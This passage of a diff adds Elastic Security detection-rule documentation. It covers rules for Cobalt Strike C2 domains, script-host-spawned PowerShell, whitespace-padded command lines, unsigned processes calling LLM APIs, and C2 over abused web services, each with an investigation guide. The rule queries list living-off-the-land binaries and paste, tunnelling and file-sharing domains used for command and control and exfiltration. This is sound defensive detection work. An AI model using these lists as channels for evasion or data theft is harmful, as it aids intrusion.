update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the rule's effectiveness. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the Cobalt Strike C2 server. This can be done by disconnecting the network or using network segmentation techniques. +- Conduct a thorough forensic analysis of the compromised systems to identify the extent of the breach and any additional payloads or backdoors that may have been installed. +- Remove any identified Cobalt Strike beacons or related malware from the affected systems using updated antivirus or endpoint detection and response (EDR) tools. +- Change all credentials and access tokens that may have been exposed or used on the compromised systems to prevent unauthorized access. +- Monitor network traffic for any signs of re-infection or communication attempts with known Cobalt Strike C2 domains, using updated threat intelligence feeds. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement network-level controls, such as blocking known malicious domains and IP addresses associated with Cobalt Strike, to prevent future attacks. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +((event.category: (network OR network_traffic) AND type: (tls OR http)) + OR event.dataset: (network_traffic.tls OR network_traffic.http) +) AND destination.domain:/[a-z]{3}.stage.[0-9]{8}\..*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-command-and-scripting-interpreter-via-windows-scripts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-command-and-scripting-interpreter-via-windows-scripts.asciidoc new file mode 100644 index 0000000000..42602b50ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-command-and-scripting-interpreter-via-windows-scripts.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-command-and-scripting-interpreter-via-windows-scripts]] +=== Command and Scripting Interpreter via Windows Scripts + +Identifies PowerShell.exe or Cmd.exe execution spawning from Windows Script Host processes Wscript.exe. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Elastic Endgame +* Data Source: Crowdstrike + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command and Scripting Interpreter via Windows Scripts* + + +PowerShell, a powerful scripting language in Windows, is often targeted by adversaries for executing malicious scripts. Attackers exploit Windows Script Host processes like cscript or wscript to launch PowerShell with obfuscated commands, evading detection. The detection rule identifies such suspicious activity by monitoring PowerShell executions with specific patterns and parent processes, while filtering out known legitimate use cases to reduce false positives. + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any obfuscation patterns or suspicious commands, such as Base64 encoding or web requests, that match the query's suspicious patterns. +- Examine the parent process details, specifically focusing on wscript.exe, cscript.exe, or mshta.exe, to determine if the PowerShell execution was initiated by a legitimate script or a potentially malicious one. +- Check the process execution context, including the user account and host, to assess if the activity aligns with expected behavior for that user or system. +- Investigate any network connections or file downloads initiated by the PowerShell process, especially those involving external IP addresses or domains, to identify potential data exfiltration or further malicious activity. +- Correlate the alert with other security events or logs from the same host or user to identify any preceding or subsequent suspicious activities that could indicate a broader attack campaign. + + +*False positive analysis* + + +- Legitimate PowerShell commands using non-shortened execution flags may trigger false positives. To manage this, exclude processes with arguments like "-EncodedCommand", "Import-Module*", and "-NonInteractive" unless they are associated with suspicious activity. +- Third-party installation scripts, such as those related to Microsoft System Center or WebLogic, can cause false positives. Exclude these by filtering out specific parent process arguments or command lines, such as "Microsoft.SystemCenter.ICMPProbe.WithConsecutiveSamples.vbs" and "WEBLOGIC_ARGS_CURRENT_1.DATA". +- Routine administrative tasks, like gathering network information, may be flagged. Exclude known scripts like "gatherNetworkInfo.vbs" from detection to prevent unnecessary alerts. +- Exclude specific user scripts or tools that are known to be safe, such as those located in user directories like "C:\Users\Prestige\AppData\Local\Temp\Rar$*\KMS_VL_ALL_AIO.cmd" if they are verified as non-malicious. +- Regularly review and update exclusion lists to ensure they reflect current legitimate activities and do not inadvertently allow new threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious execution. +- Conduct a thorough review of the affected system's PowerShell execution logs to identify any additional malicious scripts or commands that may have been executed. +- Remove any malicious scripts or files identified during the investigation from the system to prevent re-execution. +- Restore the system from a known good backup if any critical system files or configurations have been altered by the malicious activity. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.command_line != null and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe", "cmd.exe") or + ?process.pe.original_file_name : ("powershell.exe", "pwsh.dll", "powershell_ise.exe", "Cmd.Exe") + ) and + process.parent.name : ("wscript.exe", "mshta.exe") and + not ( + process.args : ( + "C:\\Program Files\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat", + "\"C:\\Program Files\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat\"" + ) or + process.command_line : ( + "\"C:\\Windows\\system32\\cmd.exe\" /c auditpol.exe /set /SUBCATEGORY:*", + "\"C:\\Windows\\system32\\cmd.exe\" /c auditpol.exe /get*", + "\"C:\\Windows\\system32\\cmd.exe\" /c exit\"" + ) or + (process.args == "-File" and process.args == "-ExecutionPolicy") + ) + and + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not event.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-command-line-obfuscation-via-whitespace-padding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-command-line-obfuscation-via-whitespace-padding.asciidoc new file mode 100644 index 0000000000..40299497c9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-command-line-obfuscation-via-whitespace-padding.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-command-line-obfuscation-via-whitespace-padding]] +=== Command Line Obfuscation via Whitespace Padding + +Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Command Line Obfuscation via Whitespace Padding* + + +This rule identifies process execution events where the command line value contains a long sequence of whitespace +characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections +by padding their malicious command with unnecessary whitespace characters. + + +*Possible investigation steps* + + +- Analyze the command line of the process in question for evidence of malicious code execution. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files +for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file +modifications, and any spawned child processes. +- Retrieve the process executable and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled tasks creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- Alerts derived from this rule are not inherently malicious. Analysts can dismiss the alert if they don't find enough +evidence of further suspicious activity. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that + attackers could use to reinfect the system. +- Remove the malicious certificate from the root certificate store. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and +malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are +identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business +systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the +mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-* metadata _id, _version, _index +| where event.category == "process" and event.type == "start" and event.action != "fork" +// more than 100 spaces in process.command_line +| eval multi_spaces = LOCATE(process.command_line, space(100)) +| where multi_spaces > 0 +| keep user.name, host.id, host.name, process.command_line, process.executable, process.parent.executable, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-common-large-language-model-endpoints.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-common-large-language-model-endpoints.asciidoc new file mode 100644 index 0000000000..d75c73044e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-common-large-language-model-endpoints.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-20-connection-to-common-large-language-model-endpoints]] +=== Connection to Common Large Language Model Endpoints + +Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://malpedia.caad.fkie.fraunhofer.de/details/py.lamehug + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Common Large Language Model Endpoints* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes or malicious scripts. +- Verify if the executed process is persistent on the host like common mechanisms Startup folder, task or Run key. +- Review any unusual network, files or registry events by the same process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- Trusted applications from an expected process running in the environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type in ("macos", "windows") and dns.question.name != null and +( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "regsvr32.exe", "dllhost.exe", + "node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "python*", "osascript", "Script Editor", "curl", "curl.exe", "deno", + "deno.exe", "node", "bun", "bun.exe") or + + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + + ( + process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "/Users/Shared/*", "/Library/WebServer/*", + "/Users/*/Library/WebServer/*", "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*", + "/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) + ) + ) and + dns.question.name : ( + // Major LLM APIs + "api.openai.com", + "*.openai.azure.com", + "api.anthropic.com", + "api.mistral.ai", + "api.cohere.ai", + "api.ai21.com", + "api.groq.com", + "api.perplexity.ai", + "api.x.ai", + "api.deepseek.com", + "api.gemini.google.com", + "generativelanguage.googleapis.com", + "api.azure.com", + "api.bedrock.aws", + "bedrock-runtime.amazonaws.com", + + // Hugging Face & other ML infra + "api-inference.huggingface.co", + "inference-endpoint.huggingface.cloud", + "*.hf.space", + "*.replicate.com", + "api.replicate.com", + "api.runpod.ai", + "*.runpod.io", + "api.modal.com", + "*.forefront.ai", + + // Consumer-facing AI chat portals + "chat.openai.com", + "chatgpt.com", + "copilot.microsoft.com", + "bard.google.com", + "gemini.google.com", + "claude.ai", + "perplexity.ai", + "poe.com", + "chat.forefront.ai", + "chat.deepseek.com", + + // OpenClaw + "openclaw.ai" + ) and + + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SystemApps\\Microsoft.LockApp_*\\LockApp.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe" + ) and + not (?process.code_signature.trusted == true and + ?process.code_signature.subject_name : ("Anthropic, PBC", "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Island Technology Inc.", "Opera Norway AS", + "OpenJS Foundation", "Developer ID Application: Node.js Foundation (HX7739G8FX)")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-commonly-abused-web-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-commonly-abused-web-services.asciidoc new file mode 100644 index 0000000000..c930847ee1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-commonly-abused-web-services.asciidoc @@ -0,0 +1,371 @@ +[[prebuilt-rule-8-19-20-connection-to-commonly-abused-web-services]] +=== Connection to Commonly Abused Web Services + +Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry +* https://specterops.io/blog/2026/01/30/weaponizing-whitelists-an-azure-blob-storage-mythic-c2-profile/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne + +*Version*: 129 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Commonly Abused Web Services* + + +Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. + +This rule looks for processes outside known legitimate program locations communicating with a list of services that can be abused for exfiltration or command and control. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Verify whether the digital signature exists in the executable. +- Identify the operation type (upload, download, tunneling, etc.). +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives because it detects communication with legitimate services. Noisy false positives can be added as exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and + dns.question.name != null and process.name != null and + not (?user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") or user.domain == "NT AUTHORITY") and + /* Add new WebSvc domains here */ + dns.question.name : + ( + "raw.githubusercontent.*", + "pastebin.*", + "paste4btc.com", + "paste.ee", + "ghostbin.com", + "drive.google.com", + "?.docs.live.net", + "api.dropboxapi.*", + "content.dropboxapi.*", + "dl.dropboxusercontent.*", + "api.onedrive.com", + "*.onedrive.org", + "onedrive.live.com", + "filebin.net", + "*.ngrok.io", + "ngrok.com", + "*.portmap.*", + "*serveo.net", + "*localtunnel.me", + "*pagekite.me", + "*localxpose.io", + "*notabug.org", + "rawcdn.githack.*", + "paste.nrecom.net", + "zerobin.net", + "controlc.com", + "requestbin.net", + "slack.com", + "api.slack.com", + "slack-redir.net", + "slack-files.com", + "cdn.discordapp.com", + "discordapp.com", + "discord.com", + "apis.azureedge.net", + "cdn.sql.gg", + "?.top4top.io", + "top4top.io", + "www.uplooder.net", + "*.cdnmegafiles.com", + "transfer.sh", + "gofile.io", + "updates.peer2profit.com", + "api.telegram.org", + "t.me", + "meacz.gq", + "rwrd.org", + "*.publicvm.com", + "*.blogspot.com", + "api.mylnikov.org", + "file.io", + "stackoverflow.com", + "*files.1drv.com", + "api.anonfile.com", + "*hosting-profi.de", + "ipbase.com", + "ipfs.io", + "*up.freeo*.space", + "api.mylnikov.org", + "script.google.com", + "script.googleusercontent.com", + "api.notion.com", + "graph.microsoft.com", + "*.sharepoint.com", + "mbasic.facebook.com", + "login.live.com", + "api.gofile.io", + "api.anonfiles.com", + "api.notion.com", + "api.trello.com", + "gist.githubusercontent.com", + "files.pythonhosted.org", + "g.live.com", + "*.zulipchat.com", + "webhook.site", + "run.mocky.io", + "mockbin.org", + "*googleapis.com", + "global.rel.tunnels.api.visualstudio.com", + "*.devtunnels.ms", + "api.github.com", + "*.blob.core.windows.net", + "*.blob.storage.azure.net", + "files.catbox.moe", + "*.supabase.co", + "*.elastic-cloud.com", + "*.cloud.es.io", + "*icp0.io") and + + /* Insert noisy false positives here */ + not ( + ( + process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe", + "?:\\Users\\*\\AppData\\Local\\PowerToys\\PowerToys.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Zen Browser\\zen.exe", + "?:\\Users\\*\\Wavesor Software\\WaveBrowser\\wavebrowser.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\System32\\WWAHost.exe" + ) + ) or + + /* Discord App */ + (process.name : "Discord.exe" and (process.code_signature.subject_name : "Discord Inc." and + process.code_signature.trusted == true) and dns.question.name : ("discord.com", "cdn.discordapp.com", "discordapp.com") + ) or + + /* MS Sharepoint / OneDrive */ + (process.name : ("Microsoft.SharePoint.exe", "OneDrive.Sync.Service.exe") and dns.question.name : "onedrive.live.com" and + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Obsidian - Plugins are stored on raw.githubusercontent.com */ + (process.name : "Obsidian.exe" and (process.code_signature.subject_name : "Dynalist Inc" and + process.code_signature.trusted == true) and dns.question.name : "raw.githubusercontent.com" + ) or + + /* WebExperienceHostApp */ + (process.name : "WebExperienceHostApp.exe" and (process.code_signature.subject_name : "Microsoft Windows" and + process.code_signature.trusted == true) and dns.question.name : ("onedrive.live.com", "skyapi.onedrive.live.com") + ) or + + /* IntelliJ IDEA connecting to raw.githubusercontent.com */ + (process.code_signature.subject_name : "JetBrains s.r.o." and + process.code_signature.trusted == true and dns.question.name : ("api.github.com", "raw.githubusercontent.com") + ) or + + (process.code_signature.subject_name : "Microsoft *" and process.code_signature.trusted == true and + dns.question.name : ("*.sharepoint.com", "graph.microsoft.com", "g.live.com", "login.live.com", + "*.blob.core.windows.net", "*.blob.storage.azure.net") + ) or + + (process.code_signature.subject_name : ("Python Software Foundation", "Anaconda, Inc.") and + process.code_signature.trusted == true and dns.question.name : "files.pythonhosted.org" + ) or + + /* Zoom */ + (process.name : 